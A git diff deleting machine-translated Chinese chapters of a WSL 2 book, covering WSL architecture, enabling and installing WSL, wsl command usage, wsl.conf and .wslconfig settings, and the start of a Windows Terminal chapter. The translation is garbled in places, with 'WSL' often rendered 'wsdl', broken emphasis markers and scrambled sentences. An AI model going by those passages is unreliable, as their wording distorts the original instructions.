VM 之外工作。 - -当您第一次使用 WSL 启动终端时,您在 Windows 中有一个运行 Linux shell 的终端应用。 与 VM 体验相比,这个看似简单的差异已经更好地集成到工作流中,因为在同一台机器上的 windows 之间切换比在 windows 上的应用和 VM 会话中的应用之间切换更容易。 - -然而,在 WSL 中集成 Windows 和 Linux 环境的工作走得更远。 虽然文件系统是在 VM 中设计隔离的,但是默认情况下为您配置了 WSL 文件系统访问。 在 Windows 中,您可以访问一个新的`\\wsl$\`网络文件共享,当 WSL 运行时,它将自动为您提供对 Linux 文件系统的访问。 在 Linux 中,您的本地 Windows 驱动器默认会自动挂载。 例如,Windows`C:`驱动器被挂载为`/mnt/c`。 - -更令人印象深刻的是,您可以从 Windows 调用 Linux 中的进程,反之亦然。 例如,作为 wsdl 中的 Bash 脚本的一部分,您可以调用 Windows 应用,并通过管道将该应用输出到另一个命令来处理该应用在 Linux 中的输出,就像使用本机 Linux 应用一样。 - -这种集成超出了传统 vm 所能实现的范围,并为将 Windows 和 Linux 的功能集成到一个单一的、高效的环境中创造了一些惊人的机会,可以让您获得两个世界的最佳效果! - -使用 WSL 在 Windows 主机和 Linux VM 环境之间实现的集成令人印象深刻。 然而,如果您已经使用过 WSL 1 或者熟悉它的工作方式,那么您可能已经阅读了前面的段落,并且想知道为什么 WSL 2 从以前的体系结构中移走了,因为以前的体系结构不使用 VM。 在下一节中,我们将简要地看一下 WSL 1 和 WSL 2 之间的不同架构,以及尽管 WSL 团队在创建我们刚才看到的集成级别时面临着额外的挑战,但是使用 VM 可以解开什么问题。 - -# 探索 WSL 1 和 WSL 2 之间的差异 - -虽然这本书讨论了 Linux(**WSL 2**)的**Windows 子系统的版本 2,但是简要地看看版本 1 (WSL 1)是如何工作的是很有帮助的。 这将帮助您理解 WSL 1 的局限性,并为在 WSL 2 中体系结构的变化以及由此产生的新功能提供上下文。 这就是本节将要讨论的内容,在此之后,本书的其余部分将重点讨论 WSL 2。** - -## WSL 概述 - -在 WSL 的第一个版本中,WSL 团队在 Linux 和 Windows 之间创建了一个翻译层。 这一层实现了**Linux 系统调用**在 Windows 内核的之上,它使 Linux 二进制文件无需修改即可运行; 当 Linux 二进制程序运行并进行系统调用时,它调用的是 WSL 转换层,并将其转换为对 Windows 内核的调用。 如下图所示: - -![Figure 1.1 – Outline showing the WSL 1 translation layer ](img/Figure_1.1_B16412.jpg) - -图 1.1 -显示 WSL 1 翻译层的大纲 - -除了转换层之外,还进行了一些投资以支持其他功能,如 Windows 和 WSL 之间的文件访问以及在两个系统之间调用二进制文件(包括捕获输出)的能力。 这些功能有助于构建特性的整体丰富性。 - -在 WSL 1 中创建翻译层是一个大胆的举动,并在 Windows 上开辟了新的可能性,然而,并不是所有的 Linux 系统调用都实现了,Linux 二进制文件只有在它们需要的所有系统调用都实现了的情况下才能运行。 幸运的是,*被*实现的系统调用允许运行范围广泛的应用,例如**Python**和**Node.js**。 - -翻译层负责连接 Linux 和 Windows 内核之间的鸿沟,这带来了一些挑战。 在某些情况下,桥接这些差异会增加性能开销。 在 WSL 1 上执行大量文件访问的应用运行速度明显变慢; 例如,由于在 Linux 和 Windows 世界之间进行转换的开销。 - -在其他情况下,Linux 和 Windows 之间的差异更深,很难看到如何协调它们。 例如,在 Windows 上,当目录中包含的文件被打开时,试图重命名该目录会导致错误,而在 Linux 上,重命名可以成功执行。 在这种情况下,很难看出翻译层是如何解决差异的。 这导致一些系统调用没有被实现,从而导致一些 Linux 应用不能在 WSL 1 上运行。 下一节将介绍在 WSL 2 中所做的更改,以及它们如何应对这一挑战。 - -## WSL 2 概述 - -与 WSL 1 翻译层一样令人印象深刻的是一项壮举,但它总是会遇到性能挑战和难以或不可能正确实现的系统调用。 对于 WSL 2, WSL 团队回到图纸板,并提出了一个新的解决方案:**虚拟机**! 这种方法通过运行 Linux 内核来避免 wsdl 1 的转换层: - -![Figure 1.2 – Outline showing the WSL 2 architecture ](img/Figure_1.2_B16412.jpg) - -图 1.2 -显示 WSL 2 体系结构的大纲 - -当您想到虚拟机时,您可能会认为它启动很慢(至少与启动 shell 提示符相比),在启动时占用很大的内存,并且与主机隔离运行。 从表面上看,在 WSL 1 中把两个环境结合在一起的工作完成之后,对 WSL 2 使用虚拟化似乎有些出人意料。 事实上,运行 Linux VM 的能力在 Windows 上早就存在了。 那么,是什么使 wsdl 2 不同于运行虚拟机呢? - -文档中提到的**轻量级实用程序虚拟机**的使用(见[https://docs.microsoft.com/en-us/windows/wsl/wsl2-about](https://docs.microsoft.com/en-us/windows/wsl/wsl2-about))带来了的巨大差异。 该虚拟机启动速度很快,只消耗少量内存。 当您运行需要内存的进程时,虚拟机会动态地增加它的内存使用量。 更好的是,当内存在虚拟机中释放时,它会返回给主机! - -为 WSL2 运行虚拟机意味着它现在正在运行 Linux 内核(它的源代码可以在[https://github.com/microsoft/WSL2-Linux-Kernel](https://github.com/microsoft/WSL2-Linux-Kernel)上找到)。 这又意味着消除了 WSL 1 转换层所面临的挑战:在 WSL 2 中性能和系统调用兼容性都得到了极大的改进。 - -将与保留 WSL 1 (Windows 和 Linux 之间的互操作性)的整体体验的工作结合起来,WSL 2 为大多数场景提供了积极的进步。 - -对于大多数用例,出于兼容性和性能的考虑,wsdl 2 将是首选版本,但有几件事值得注意。 其中一个是,(在撰写本文时)的一般可用版本 WSL 2 不支持 GPU 或 USB 访问(详情[https://docs.microsoft.com/en-us/windows/wsl/wsl2-faq can-i-access-the-gpu-in-wsl-2-are-there-plans-to-increase-hardware-support](https://docs.microsoft.com/en-us/windows/wsl/wsl2-faq#can-i-access-the-gpu-in-wsl-2-are-there-plans-to-increase-hardware-support))。 GPU 支持是在 2020 年 5 月的*Build*会议上宣布的,在撰写本文时可以通过 Windows Insiders Program([https://insider.windows.com/en-us/](https://insider.windows.com/en-us/))获得。 - -另一个需要考虑的问题是,由于 WSL 2 使用虚拟机,在 WSL 2 中运行的应用将通过与主机(主机具有单独的 IP 地址)分开的网络适配器连接到网络。 正如我们将在[*第五章*](05.html#_idTextAnchor054),*Linux 到 Windows 的互操作性中看到的,*WSL 团队已经在网络互操作性方面进行了投资,以帮助减少这一问题的影响。 - -幸运的是,WSL 1 和 WSL 2 可以同时运行,所以如果您有一个需要 WSL 1 的特定场景,那么您可以使用它来完成该场景,并继续使用 WSL 2 来完成其他场景。 - -# 总结 - -在本章中,您看到了什么是 WSL,以及它通过允许跨 Windows 和 Linux 环境的文件系统和进程之间的集成而与传统 VM 的体验有何不同。 您还概述了 WSL 1 和 WSL 2 之间的差异,以及为什么在大多数情况下,性能和兼容性的改进使 WSL 2 成为首选选项。 - -在下一章中,您将学习如何安装和配置 wsdl 和 Linux 发行版。 \ No newline at end of file diff --git a/docs/wsl2-tip-trick-tech/02.md b/docs/wsl2-tip-trick-tech/02.md deleted file mode 100644 index 2ae0894b..00000000 --- a/docs/wsl2-tip-trick-tech/02.md +++ /dev/null @@ -1,327 +0,0 @@ -# 二、为 Linux 安装和配置 Windows 子系统 - -**窗口子系统为 Linux**(**WSL)不是默认安装,所以起床的第一步安装和运行将它连同一个 Linux**分布**(**发行版**)。 在本章结束时,您将知道如何安装 WSL 以及如何安装与其一起使用的 Linux 发行版。 您还将看到如何检查和控制 Linux 发行版,以及如何在 WSL 中配置其他属性。** - - **在本章中,我们将特别涵盖以下主要主题: - -* 使 WSL -* 在 wsdl 中安装 Linux 发行版 -* 配置和控制 WSL - -# 启用 WSL - -要将设置为运行 WSL 的机器,您需要确保您使用的是支持它的 Windows 版本。 然后,您可以启用运行 WSL 所需的 Windows 特性,并为安装 Linux 发行版准备好安装 Linux 内核。 最后,您将能够安装一个或多个 Linux 发行版来运行。 - -让我们从确保您使用的是最新版本的 Windows 开始。 - -## 正在检查所需的 Windows 版本 - -要安装 WSL 2,您需要运行在一个最新的 Windows 10 版本上。 要检查您正在运行的 Windows 10 版本(以及您是否需要更新),按*Windows 键*+*R*,然后键入`winver`: - -![Figure 2.1 – The Windows version dialog showing the 2004 update ](img/Figure_2.1_B16412.jpg) - -图 2.1 -视窗版本对话框显示 2004 年的更新 - -在这个屏幕截图中,您可以看到**Version 2004**,这表明系统正在运行 2004 版本。 在此之后,可以看到**OS Build**是**19041.208**。 - -要运行 WSL 2,您需要版本 1903 或更高,操作系统版本为 18362 或更高。 (注意,ARM64 系统要求版本为 2004 或更高,操作系统版本为 19041 或更高。) 详见[https://docs.microsoft.com/en-us/windows/wsl/install-win10#requirements](https://docs.microsoft.com/en-us/windows/wsl/install-win10#requirements)。 - -如果您的版本号较低,则转到您的计算机上的**Windows Update**并应用任何未决更新。 - -重要提示 - -Windows 10 更新的命名可能有点令人困惑,1903 和 1909(或者更糟的是,2004,看起来像一年)等版本号背后的含义并不是很明显。 命名是一个组合的年和月更新预计将公布在**yymm 形式**yy 的最后两位数是**,**毫米的两位数的形式。 例如,1909 年的更新目标是在 2019 年的第 09 个月发布,换句话说,2019 年 9 月。 同样,2004 年版的目标是在 2020 年 4 月发布。**** - - **现在您已经使用了所需的 Windows 版本,让我们开始启用 wsdl。 - -## 检查容易安装选项 - -在 2020 年 5 月的**BUILD**会议上,微软宣布了他们正在研究的一种新的、简化的安装 WSL 的方法,但在撰写本文时,这种新方法还没有可用。 然而,由于它是一种快速而简单的方法,您可能想在使用较长的安装步骤之前尝试一下,以免在您阅读本文时它已经可用! - -要尝试它,请打开您选择的提升提示符(例如,**命令提示符**),并输入以下命令: - -```sh -Wsl.exe --install -``` - -如果运行此命令,则意味着您有一个简单的安装选项,它将为您安装 wsdl。 在这种情况下,您可以跳到*配置和控制 WSL 部分(或者如果您想安装更多的 Linux 发行版,可以跳到在 WSL*中安装 Linux 发行版部分)。 - -如果没有找到该命令,那么继续下一节,使用原始方法安装 wsdl。 - -## 启用所需的 Windows 特性 - -正如在介绍性章节中讨论的,WSL 的版本 2 使用了一种新的轻量级实用工具虚拟机功能。 要启用轻量级虚拟机和 WSL,您需要启用两个 Windows 特性:**虚拟机平台**和**面向 Linux 的 Windows 子系统**。 - -启用这些功能通过用户界面**(**UI),按*Windows 键【显示】,进入`Windows Features`,然后点击**打开或关闭窗口特性**如下图所示:***** - - **![Figure 2.2 – Launching the Windows features options ](img/Figure_2.2_B16412.jpg) - -图 2.2 -启动 Windows 特性选项 - -当出现 Windows 功能对话框时,勾选**虚拟机平台**和**Windows 子系统 for Linux**,如下图所示: - -![Figure 2.3 – Required Windows features for WSL version 2 ](img/Figure_2.3_B16412.jpg) - -图 2.3 - WSL 版本 2 所需的 Windows 特性 - -点击**OK**后,Windows 将下载并安装组件,并可能提示您重新启动机器。 - -如果您更喜欢通过命令行启用这些特性,那么启动您选择的提升提示符(例如,命令提示符)并输入以下命令: - -```sh -dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart -dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart -``` - -完成这些命令后,重新启动机器,就可以安装 Linux 内核了。 - -## 安装 Linux 内核 - -在安装您最喜欢的 Linux 发行版之前,最后一个 T0 步骤是安装可以运行它的内核。 在写作时,这是一个手动步骤; 在未来,这计划是一个自动过程,通过 Windows Update 交付更新! - -现在,转到[http://aka.ms/wsl2kernel](http://aka.ms/wsl2kernel)以获得下载和安装内核的链接。 完成此操作后,您可以选择安装**Linux 发行版**到。 - -# 在 WSL 中安装 Linux 发行版 - -标准的安装用于 WSL 的 Linux 发行版的方式是通过 Microsoft Store。 当前可用的 Linux 发行版的完整列表可以在官方文档([https://docs.microsoft.com/windows/wsl/install-win10#install-your-linux-distribution-of-choice](https://docs.microsoft.com/windows/wsl/install-win10#install-your-linux-distribution-of-choice))中找到。 在撰写本文时,这包括各种版本的 Ubuntu、OpenSUSE Leap、SUSE Linux Enterprise Server、Kali、Debian、Fedora Remix、Pengwin 和 Alpine。 因为我们不能在整本书中包含每个 Linux 版本的示例,所以我们将着重使用*Ubuntu*作为示例。 - -提示 - -上一章中的步骤已经安装了在 WSL 中运行版本 2 发行版所需的所有部件,但是版本 1 仍然是默认的! - -这些命令将在本章的下一节讨论,但是如果你想让版本 2 成为你安装的 Linux 发行版的默认版本,那么运行以下命令: - -`wsl --set-default-version 2` - -如果你从 Windows 启动微软商店,你可以搜索你选择的 Linux 发行版。 例如,在 Microsoft Store 中搜索`Ubuntu`的结果如下图所示: - -![Figure 2.4 – Searching for a Linux distro in the Microsoft Store ](img/Figure_2.4_B16412.jpg) - -图 2.4 -在 Microsoft Store 中搜索 Linux 发行版 - -当找到你想要的发行版时,遵循以下步骤: - -1. 点击它,点击**安装**。 然后,商店应用将为您下载并安装发行版。 -2. 安装完成后,可以单击**Launch**按钮运行。 这将开始您所选择的发行版的设置过程,如图所示(针对 Ubuntu)。 -3. 在安装过程中,系统会要求您输入 UNIX 用户名(不必匹配您的 Windows 用户名)和 UNIX 密码。 - -此时,您安装的发行版将运行 WSL 的版本 1(除非您之前运行了`wsl --set-default-version 2`命令)。 不要担心——下一节将介绍`wsl`命令,包括在 WSL 版本 1 和版本 2 之间转换已安装的 Linux 发行版! - -现在您已经安装了 Linux 发行版,让我们看看如何配置和控制它。 - -# 配置和控制 WSL - -前面的部分简要提到了`wsl`命令,这是与 WSL 交互和控制 WSL 的最常见方式。 在这个节中,您将了解如何使用`wsl`命令交互式地控制 WSL,以及如何通过修改`wsl.conf`配置文件中的设置来更改 WSL 的行为。 - -重要提示 - -WSL 的早期版本提供了一个`wslconfig.exe`实用程序。 如果您在文档或文章中看到任何对它的引用,请不要担心——您将在下面的部分中看到的`wsl`命令中提供`wslconfig.exe`(以及更多)的所有功能。 - -下一节中的命令和配置将为您提供所需的工具,以控制在 WSL 中运行的发行版,并配置发行版(和整个 WSL)的行为,以满足您的需求。 - -## wsl 命令介绍 - -`wsl`命令为您提供了一种与 WSL 和已安装的 Linux 发行版进行控制和交互的方法,比如在发行版中运行命令或停止运行发行版。 在本部分中,您将了解`wsl`命令最常用的选项。 如果您感兴趣,可以通过运行`wsl --help`找到完整的选项集。 - -### 重复 distros - -命令`wsl`是一个多用途的命令行实用程序,既可以用于在 WSL 中控制 Linux 发行版,也可以用于在这些发行版中运行命令。 - -要开始,运行`wsl --list`来获取你已经安装的 Linux 发行版列表: - -```sh -PS C:\> wsl --list -Windows Subsystem for Linux Distributions: -Ubuntu-20.04 (Default) -Legacy -docker-desktop -docker-desktop-data -WLinux -Alpine -Ubuntu -PS C:\> -``` - -上面的输出显示了已安装的发行版的完整`list`,但是还可以应用一些其他开关来定制此命令的行为。 例如,如果你只想看到正在运行的发行版,你可以使用`wsl --list --running`,如下代码片段所示: - -```sh -PS C:\> wsl --list --running -Windows Subsystem for Linux Distributions: -Ubuntu-20.04 (Default) -Ubuntu -PS C:\> -``` - -list 命令的另一个有用的变体是详细输出选项,使用`wsl --list –verbose`实现,如下所示: - -```sh -PS C:\> wsl --list --verbose -  NAME                   STATE           VERSION -* Ubuntu-20.04           Running         2 -  Legacy                 Stopped         1 -  docker-desktop         Stopped         2 -  docker-desktop-data    Stopped         2 -  WLinux                 Stopped         1 -  Alpine                 Stopped         2 -  Ubuntu                 Running         2 -PS C:\> -``` - -如上面的输出所示,详细选项显示每个发行版使用哪个版本的 wsdl; 您可以看到,同时支持`1`和`2`。 详细的输出还显示每个发行版是否正在运行。 它还在默认发行版旁边包含一个星号(`*`)。 - -除了获得关于 WSL 的信息外,我们还可以使用`wsl`命令来控制发行版。 - -### 控制 WSL 发行版 - -正如在`wsl --list --verbose`的输出中看到的,可以并排安装多个发行版,并让它们使用不同版本的 WSL。 除了拥有并排的版本之外,发行版还可以在安装后在 wsdl 的版本之间进行转换。 要实现这一点,可以使用`wsl --set-version`命令。 - -这个命令有两个参数: - -* 要更新的发行版的名称 -* 要转换的版本 - -下面是一个将`Ubuntu`发行版转换为版本 2 的例子: - -```sh -PS C:\> wsl --set-version Ubuntu 2 -Conversion in progress, this may take a few minutes... -For information on key differences with WSL 2 please visit https://aka.ms/wsl2 -Conversion complete. -PS C:\> -``` - -默认情况下,为 WSL 安装 Linux 发行版将把它们安装为版本 1。 但是,可以使用`wsl --set-default-version`命令来更改这一点,该命令接受版本的单个参数以成为默认版本。 - -例如,`wsl --set-default-version 2`将把 WSL 的版本 2 作为您安装的任何新发行版的默认版本。 - -接下来,让我们看看在 Linux 发行版中运行命令。 - -### 使用 wsdl 命令运行 Linux 命令 - -`wsl`命令的另一个功能是在 Linux 中运行命令。 事实上,如果你不带任何参数运行`wsl`,它将在你的默认发行版中启动一个 shell ! - -如果您向`wsl`传递一个命令字符串,那么它将在您的默认发行版中运行它。 例如,下面的代码片段显示了运行`wsl ls ~`和`wsl cat /etc/issue`时的输出: - -```sh -PS C:\> wsl ls ~ -Desktop    Downloads  Pictures  Templates  source    tmp -Documents  Music      Public    Videos     go        ssh-test   -PS C:\> wsl cat /etc/issue -Ubuntu 20.04 LTS \n \l -PS C:\> -``` - -从前面的`wsl cat /etc/issue`输出中可以看到,这些命令是在 Ubuntu-20.04 发行版中运行的。 如果您安装了多个发行版,并且希望在一个特定的发行版中运行该命令,那么您可以使用`-d`开关来指定您希望在其中运行该命令的发行版。 您可以使用`wsl --list`命令获取发行版名称。 下面是一些`wsl -d`的例子: - -```sh -PS C:\> wsl -d Ubuntu-20.04 cat /etc/issue -Ubuntu 20.04 LTS \n \l -PS C:\> wsl -d Alpine cat /etc/issue -Welcome to Alpine Linux 3.11 -Kernel \r on an \m (\l) -PS C:\> -``` - -前面的示例显示了在多个发行版中运行`cat /etc/issue`命令,并且输出确认了该命令所运行的发行版。 - -除了允许您选择要在其中运行命令的 Linux 发行版之外,`wsl`命令还允许您通过`-u`交换机指定要运行这些命令的用户。 我发现最常见的用法是作为 root 运行命令,这允许使用`sudo`运行命令,而不需要提示输入密码。 `-u`开关显示如下: - -```sh -PS C:\> wsl whoami -stuart -PS C:\> wsl -u stuart whoami -stuart -PS C:\> wsl -u root whoami -root -PS C:\> -``` - -上面显示的是`whoami`命令(输出当前用户)。 不通过`-u`开关,您可以看到命令是作为`stuart`用户运行的,该用户是在最初安装发行版时创建的,但是这可以被覆盖。 - -我们将看到的关于`wsl`命令的最后一个例子是停止运行发行版。 - -### 你要我做这些吗 - -如果您一直在运行 WSL,并且由于任何原因想要停止它,也可以使用`wsl`命令来完成。 - -如果你有多个发行版正在运行,而你只是想停止一个特定的发行版,你可以运行`wsl --terminate `,例如`wsl --terminate Ubuntu-20.04`。 - -提示 - -记住,正如我们前面看到的,您可以使用`wsl --list --running`获得当前正在运行的发行版。 - -如果你想关闭 WSL 和所有正在运行的发行版,你可以运行`wsl --shutdown`。 - -现在我们已经了解了如何使用`wsl`命令来控制 WSL,让我们看一下 WSL 的配置文件。 - -## 介绍 wsl.conf 和。wslconfig - -WSL 提供了两个地方,您可以在其中配置其行为。 其中第一个是`wsl.conf`,它提供每个发行版的配置,第二个是`.wslconfig`,它提供全局配置选项。 这两个文件允许您启用 WSL 的不同特性,例如主机驱动器在一个发行版中挂载的位置,或者控制整个 WSL 行为,例如它可以消耗多少系统内存。 - -### 使用 wsl.conf - -`wsl.conf`文件位于每个发行版的`/etc/wsl.conf`文件中。 如果该文件不存在,而您想将一些设置应用到一个发行版,那么就使用所需的配置在该发行版中创建该文件,并重新启动该发行版(参见*用 WSL*停止发行版一节中的`wsl --terminate`)。 - -默认选项通常工作得很好,但是本节将带您浏览`wsl.conf`,以便您了解在需要时可以自定义的设置类型。 - -`wsl.conf`文件遵循`ini`文件结构,名称/值对组织在节中。 示例如下: - -```sh -[section] -value1 = true -value2 = "some content" -# This is just a comment -[section2] -value1 = true -``` - -以下示例显示了文件的一些主要部分和`wsl.conf`值及其默认选项: - -```sh -[automount] -enabled = true # control host drive mounting (e.g. /mnt/c) -mountFsTab = true # process /etc/fstab for additional mounts -root = /mnt/ # control where drives are mounted -[interop] -enabled = true # allow WSl to launch Windows processes -appendWindowsPath = true # add Windows PATH to $PATH in WSL -``` - -`automount`部分提供了控制 WSL 如何在 WSL 发行版中挂载 Windows 驱动器的选项。 `enabled`选项允许您完全启用或禁用该行为,而`root`选项允许您控制在发行版的文件系统中创建驱动器挂载的位置,如果您有理由或偏好将它们放在不同的位置。 - -`interop`部分控制允许 Linux 发行版与 Windows 交互的特性。 您可以通过将`enabled`属性设置为`false`来完全禁用该特性。 默认情况下,Windows`PATH`会附加到发行版的`PATH`中,但是如果您需要更好地控制发现哪些 Windows 应用,可以使用`appendWindowsPath`设置禁用此功能。 - -`wsl.conf`的完整文档可以在[https://docs.microsoft.com/en-us/windows/wsl/wsl-config#configure-per-distro-launch-settings-with-wslconf](https://docs.microsoft.com/en-us/windows/wsl/wsl-config#configure-per-distro-launch-settings-with-wslconf)找到。 您将在[*第 5 章*](05.html#_idTextAnchor054),*Linux to Windows Interoperability*中了解更多关于从 WSL 中访问 Windows 文件和应用的知识。 - -在这里,我们已经看到了如何更改每个发行版的配置,接下来我们将看看系统范围的 WSL 配置选项。 - -### 使用.wslconfig - -除了作为每个发行版的`wsl.conf`配置之外,还有一个全局`.wslconfig`文件与 WSL 的版本 2 一起添加,例如,可以在`Windows User`文件夹中找到`C:\Users\\.wslconfig`。 - -与`wsl.conf`文件一样,`.wslconfig`使用`ini`文件结构。 下面的示例显示了`[wsl2]`部分的主要值,它允许您更改 WSL 版本 2 的行为: - -```sh -[wsl2] -memory=4GB -processors=2 -localhostForwarding=true -swap=6GB -swapFile=D:\\Temp\\WslSwap.vhdx -``` - -`memory`值配置用于 WSL 版本 2 的轻量级实用程序虚拟机所消耗的内存的限制。 默认情况下,这是系统内存的 80%。 - -类似地,`processors`允许您限制虚拟机将使用的处理器数量(默认情况下没有限制)。 如果您需要平衡在 Windows 和 Linux 上运行的工作负载,这两个值可以提供帮助。 - -另一点需要注意的是,路径(如`swapFile`)需要是绝对路径,反斜杠(如`\\`)需要转义,如下所示。 - -还有其他选项(如`kernel`和`kernelCommandLine`,它允许您指定一个自定义内核或额外的内核参数),这是出于对这本书的范围,但可以发现在文档:[https://docs.microsoft.com/en-us/windows/wsl/wsl-config configure-global-options-with-wslconfig](https://docs.microsoft.com/en-us/windows/wsl/wsl-config#configure-global-options-with-wslconfig)。 - -在这个节中,您已经看到了如何控制 WSL 集成特性,例如驱动器挂载以及通过更改发行版中`wsl.conf`文件中的设置来调用 Windows 进程的能力。 您还了解了如何控制整个 WSL 系统的行为,比如限制内存数量或将使用的处理器数量。 这些选项允许您确保 WSL 以适合您的方式适合您的系统和工作流。 - -# 总结 - -在本章中,您已经看到了如何启用 wsdl,安装 Linux 发行版,并确保它们运行在 wsdl 的版本 2 下。 您还学习了如何使用`wsl`命令来控制 WSL,以及如何使用`wsl.conf`和`.wslconfig`配置文件来进一步控制 WSL 及其中运行的发行版的行为。 有了这些工具,您就可以控制 WSL 以及它如何与您的系统交互。 - -在下一章中,我们将看看新的 Windows 终端,它是 WSL 的自然组合。 我们将介绍如何安装它并使其启动和运行。****** \ No newline at end of file diff --git a/docs/wsl2-tip-trick-tech/03.md b/docs/wsl2-tip-trick-tech/03.md deleted file mode 100644 index bb5177a6..00000000 --- a/docs/wsl2-tip-trick-tech/03.md +++ /dev/null @@ -1,319 +0,0 @@ -# 三、Windows 终端入门 - -微软已经宣布在即将发布的 Windows 子系统 Linux 版本中支持 GUI 应用,但在撰写本文时,甚至在早期的预览形式中也无法提供。 在本书中,我们选择将重点放在稳定的、已发布的 WSL 特性上,因此它涵盖了当前以命令行为中心的 WSL 视图。 因此,为自己装备一个良好的终端体验是有意义的。 Windows 中的默认控制台体验(由`cmd.exe`使用)在很多方面都缺乏,新的 Windows 终端提供了很多好处。 在本章中,我们将看看这些优点,以及如何安装和开始使用 Windows Terminal。 - -在本章中,我们将涵盖以下主要主题: - -* 介绍 Windows 终端 -* 安装 Windows 终端 -* 使用 Windows 终端 -* 配置 Windows 终端 - -# Windows 终端介绍 - -Windows 终端是 Windows 的替代终端体验。 如果你习惯在 Windows 上运行命令行应用,你可能会熟悉以前运行 PowerShell 或`cmd.exe`时看到的 Windows 控制台体验(如下图所示): - -![Figure 3.1 – A screenshot showing the cmd.exe user experience ](img/Figure_3.1_B16412.jpg) - -图 3.1 -显示 cmd.exe 用户体验的屏幕截图 - -Windows Console 有很长的历史,可以追溯到 Windows NT 和 Windows 2000 时代,再追溯到 Windows 3。 x 和 95/98 ! 在此期间,许多 Windows 用户创建了依赖于 Windows 控制台行为的脚本和工具。 Windows 控制台团队对体验做了一些很好的改进(例如,*Ctrl*+鼠标滚轮滚动来缩放文本, 改进了许多 Linux 和 UNIX 命令行应用和 shell 发出的 ANSI/VT 控制序列的处理),但最终在不破坏向后兼容性的情况下,它们所能实现的目标受到了限制。 - -Windows 控制台团队花费了大量时间重构控制台的代码,以使其他终端体验(如新的 Windows 终端)能够在其之上构建。 - -新的 Windows 终端提供了许多改进,使其成为基于 Windows 控制台的应用和 Linux shell 应用的出色终端体验。 使用 Windows Terminal,您可以获得更丰富的支持来定制终端的外观和感觉,并控制如何配置键绑定。 您还可以在终端中拥有多个选项卡,就像您在 web 浏览器中拥有多个选项卡一样,如下图所示: - -![Figure 3.2 – A screenshot showing multiple tabs in Windows Terminal ](img/Figure_3.2_B16412.jpg) - -图 3.2 -在 Windows 终端中显示多个选项卡的截图 - -除了每个窗口有多个选项卡外,Windows Terminal 还支持将选项卡拆分为多个窗格。 与一次只显示一个选项卡的选项卡不同,使用窗格可以将选项卡细分为多个部分。 *图 3.3*显示了带有多个窗格的 Windows Terminal,混合了在 WSL2 中运行的 Bash 和在 Windows 中运行的 PowerShell: - -![Figure 3.3 – A screenshot showing multiple panes in Windows Terminal ](img/Figure_3.3_B16412.jpg) - -图 3.3 -视窗终端显示多个窗格的截屏 - -正如你可以从前面的截图中看到的,Windows 终端的体验与默认控制台的体验相比有了很大的改善。 - -您将学习如何利用其丰富的特性,比如窗格在第六章[](06.html#_idTextAnchor069)*,*获得更多从 Windows 终端【5】,但现在你有味道的 Windows 终端是什么,让我们把它安装!** - - *# 安装 Windows 终端 - -Windows 终端(在撰写本文时)仍然在积极地工作,它存在于 GitHub 上的[https://github.com/microsoft/terminal](https://github.com/microsoft/terminal)。 如果您想运行绝对最新的代码(或者对贡献特性感兴趣),那么 GitHub 上的文档将带您完成构建代码所需的步骤。 (GitHub 回购也是一个提出问题和特性请求的好地方。) - -更常见的安装 Windows 终端的方式是通过 Windows Store,它将安装应用,并提供一个简单的方法来保持它的更新。 您可以在 Store app 中搜索`Windows Terminal`(如下图所示),或者使用[https://aka.ms/terminal](https://aka.ms/terminal)快速链接: - -![Figure 3.4 – A screenshot of the Windows Store app showing Windows Terminal ](img/Figure_3.4_B16412.jpg) - -图 3.4 - Windows Store 应用显示 Windows Terminal 的截图 - -如果您对尽早测试功能感兴趣(并且不介意潜在的偶然不稳定性),那么您可能会对 Windows Terminal Preview 感兴趣。 这在 Store 应用中也可以使用(你可能已经注意到它在前面的图中显示),或者通过快速链接[https://aka.ms/terminal-preview](https://aka.ms/terminal-preview)。 预览版和主版可以并排安装和运行。 如果你对 Windows 终端的路线图感兴趣,可以在 GitHub 上的文档[https://github.com/microsoft/terminal/blob/master/doc/terminal-v2-roadmap.md](https://github.com/microsoft/terminal/blob/master/doc/terminal-v2-roadmap.md)找到。 - -现在已经安装了 Windows Terminal,让我们来了解一下其中的一些特性。 - -# 使用 Windows 终端 - -当您运行 Windows 终端时,它将启动您的默认配置文件。 配置文件是指定在终端实例中应该运行什么 shell 的一种方法,例如 PowerShell 或 Bash。 点击标题栏中的**+**来创建一个带有默认配置文件的另一个实例的新选项卡,或者你可以点击向下箭头来选择你想要运行的配置文件,如下图所示: - -![Figure 3.5 – A screenshot showing the profile dropdown for creating a new tab ](img/Figure_3.5_B16412.jpg) - -图 3.5 -显示用于创建新选项卡的概要文件下拉框的截图 - -前面的图显示了启动新终端选项卡的一系列选项,这些选项中的每一个都被称为配置文件。 显示的配置文件是由 Windows Terminal 自动生成的——它检测我的机器上安装了什么,并创建了动态配置文件列表。 更好的是,如果我在安装 Windows Terminal 之后安装了一个新的 WSL 发行版,它将自动添加到可用配置文件的列表中! 我们将在本章的后面快速地配置您的配置文件,但首先,让我们看看一些方便的 Windows 终端键盘快捷键。 - -## 学习快捷键 - -无论您是键盘快捷键爱好者还是主要的鼠标用户,知道一些快捷键并没有什么坏处,特别是对于 Windows Terminal 中的常见场景,因此本节列出了最常见的键盘快捷键。 - -您刚刚看到了如何使用 Windows 终端标题栏中的**+**和向下箭头来启动带有默认配置文件的新选项卡或选择要启动的配置文件。 在键盘上,*Ctrl*+*Shift*+*T*可以用来启动一个默认配置文件的新实例。 显示配置文件选择器,您可以使用【显示】Ctrl+*+空格键转变,但是如果你看看截图在图 3.5【病人】,可以看到,前九资料得到自己的快捷键: *【t16.1】*Ctrl + Shift+*1 发射第一个概要,**Ctrl + Shift*+*2*启动第二,等等。*** - - **当你在 Windows 终端打开多个选项卡,您可以使用*Ctrl*+*选项卡导航通过标签和*Ctrl*+*【T7 转变】+*【显示】选项卡导航向后(这是一样的大多数浏览器选项卡)。 如果你想要导航到一个特定的选项卡中,您可以使用*【病人】*Ctrl + Alt*+*<>*,在【t16.1】选项卡的位置你想要导航到,例如,**Ctrl + Alt*+*3*导航到第三个选项卡。 最后,你可以用*Ctrl*+*Shift*+*W*来关闭一个标签。* - - *在 Windows 终端中,使用键盘可以快速地管理选项卡。 如果 Windows 终端检测到很多配置文件,你可能想要控制它们的顺序,把你最常用的放在最上面,以方便访问(并确保它们获取快捷键)。 在下一节中,我们将研究这个和其他一些配置选项。 - -# 配置 Windows 终端 - -Windows 终端的设置都存储在隐藏在 Windows 配置文件中的`JSON`文件中。 